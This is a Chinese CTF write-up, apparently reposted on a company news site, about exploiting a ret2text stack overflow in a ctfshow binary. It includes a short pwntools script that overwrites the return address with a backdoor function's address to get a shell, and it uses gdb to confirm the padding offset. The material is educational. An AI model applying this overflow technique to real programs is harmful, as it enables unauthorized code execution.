尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

用gdb的动态视角看ret2text的实现

用gdb的动态视角看ret2text的实现
📅 发布时间:2026/6/21 15:34:34

来看一道非常简单的栈溢出

image、

ctfshow函数里面有read函数,最多可以读0x32个字节

image

image
后门函数地址ida里很明显,0x8048521

exp本身不难写,下面看一下怎么用gdb确定偏移

'from pwn import*
io=process("./pwn")
#io=remote("pwn.challenge.ctf.show",28175);
gdb.attach(io,"b main") #在main函数下断点
payload=b"A"*(0x12+0x4)+p32(0x8048521)
io.sendline(payload)
io.interactive()

image
一直按n让运行到汇编代码的ctfshow处,按s单步进入

image

可以看到read函数,走到read函数,看到read函数在0xffffcfc6处读入数据
image
stack看一下栈
image

0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp)

用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量

我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址,
image

我们继续按n走到后门函数,将后门函数压栈,按c得到system/bin/sh,(只是本地调试,因此没有flag文件)
image

相关新闻

  • go包装bing搜索
  • 2025年临沂代理记账公司推荐排行及口碑好的靠谱公司解析
  • 网络同步学习记录

最新新闻

  • 4、SpringBoot框架集成Kafka
  • MusicPlayer2:Windows平台终极开源音乐播放器完全指南
  • RPG Maker Decrypter完整指南:5分钟学会解密RPG游戏资源
  • 2026年雅典官方售后服务体系升级公告:全新官方维修门店新址升级落地,最新服务热线同步开通 - 亨得利中国服务中心
  • 2026年法穆兰官方售后服务中心新址揭晓|全国网点更新,全新服务热线同步公示 - 亨得利中国服务中心
  • 实现4S完整策略历史回测程序,输出年化收益,最大回撤核心指标。

日新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号